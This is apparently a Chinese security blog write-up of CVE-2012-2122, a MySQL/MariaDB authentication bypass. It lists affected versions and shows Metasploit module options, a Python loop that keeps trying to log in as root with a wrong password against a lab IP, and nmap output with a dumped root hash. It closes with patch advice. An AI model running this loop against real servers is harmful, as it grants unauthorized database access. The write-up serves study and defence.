CVE-2012-2122-Mysql身份认证漏洞及利用
一、漏洞简介
当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。按照公告说法大约256次就能够蒙对一次。
受影响的产品：
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
二、漏洞危害
只要知道用户名，不断尝试就能够直接登入SQL数据库。

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads
USERNAME root yes The username to authenticate as
Description:
This module exploits a password bypass vulnerability in MySQL in
order to extract the usernames and encrypted password hashes from a
MySQL server. These hashes are stored as loot for later cracking.

主要调用了subprocess.Popen执行shell命令：
#!/usr/bin/python
import subprocess
while 1:
subprocess.Popen("mysql -h 192.168.118.130 -u root mysql --password=blah", shell=True).wait()

PORT STATE SERVICE VERSION 3306/tcp open mysql MySQL 5.5.23 | mysql-vuln-cve2012-2122: | VULNERABLE: | Authentication bypass in MySQL servers. | State: VULNERABLE (Exploitable) | IDs: CVE:CVE-2012-2122 | When a user connects to MariaDB/MySQL, a token (SHA | over a password and a random scramble string) is calculated and compared | with the expected value. Because of incorrect casting, it might've | happened that the token and the expected value were considered equal, | even if the memcmp() returned a non-zero value. In this case | MySQL/MariaDB would think that the password is correct, even while it is | not. Because the protocol uses random strings, the probability of | hitting this bug is about 1/256. | Which means, if one knows a user name to connect (and "root" almost | always exists), she can connect using *any* password by repeating | connection attempts. ~300 attempts takes only a fraction of second, so | basically account password protection is as good as nonexistent. | | Disclosure date: 2012-06-9 | Extra information: | Server granted access at iteration #1500 | | root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 | | References: | http://seclists.org/oss-sec/2012/q2/493 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2122 |_ https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql MAC Address: 00:0C:29:25:90:3B (VMware) Service detection performed.

| mysql-vuln-cve2012-2122:
| VULNERABLE:
| Authentication bypass in MySQL servers.
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2012-2122
| When a user connects to MariaDB/MySQL, a token (SHA
| over a password and a random scramble string) is calculated and compared
| with the expected value. Because of incorrect casting, it might've
| happened that the token and the expected value were considered equal,
| even if the memcmp() returned a non-zero value. In this case
| MySQL/MariaDB would think that the password is correct, even while it is
| not. Because the protocol uses random strings, the probability of
| hitting this bug is about 1/256.
| Which means, if one knows a user name to connect (and "root" almost
| always exists), she can connect using *any* password by repeating
| connection attempts. ~300 attempts takes only a fraction of second, so
| basically account password protection is as good as nonexistent.

四、漏洞修复建议
升级官方补丁：
MariaDB 5.1.62, 5.2.12, 5.3.6, 5.5.23
MySQL 5.1.63, 5.5.24, 5.6.6
Sebug临时解决办法：
在防火墙上关闭mysql端口

Next：
1、分析mysql源码 http://blog.51cto.com/linuxgeek/998210进一步的学习
2、分析nmap、metasploit脚本提高脚本编写能力
3、漏洞环境复现，目前在官方下载了对应有漏洞的mysql版本并安装在Windows下，但是并没有复现成功！
